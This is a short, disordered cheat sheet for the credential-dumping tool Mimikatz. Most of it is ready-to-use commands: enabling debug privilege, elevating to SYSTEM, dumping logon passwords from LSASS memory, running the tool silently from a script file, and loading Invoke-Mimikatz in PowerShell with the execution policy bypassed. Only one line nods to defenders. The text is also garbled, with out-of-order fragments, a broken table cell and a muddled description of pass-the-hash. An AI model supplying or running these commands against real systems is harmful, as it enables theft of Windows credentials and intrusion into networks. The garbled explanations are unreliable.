mimikatz.exe "privilege::debug" "token::elevate" "exit" 1. Grab Passwords from LSASS Memory (sekurlsa) This is the classic "pass-the-hash" or "pass-the-password" attack.
| Command | Purpose | | :--- | :--- | | mimikatz.exe | Launch the tool (interactive mode). | | mimikatz # privilege::debug | Seeks . This is the "master key" to interact with LSASS. | | mimikatz # token::elevate | Elevates to SYSTEM account (often needed for LSASS access). | | mimikatz # exit | Exit the Mimikatz console. |
echo privilege::debug >> commands.txt echo sekurlsa::logonpasswords >> commands.txt echo exit >> commands.txt mimikatz.exe ""script:commands.txt"" If you are defending a network, you must assume Mimikatz will be used.
# Using Invoke-Mimikatz (from PowerSploit) powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' Save commands to a .txt file and execute silently.
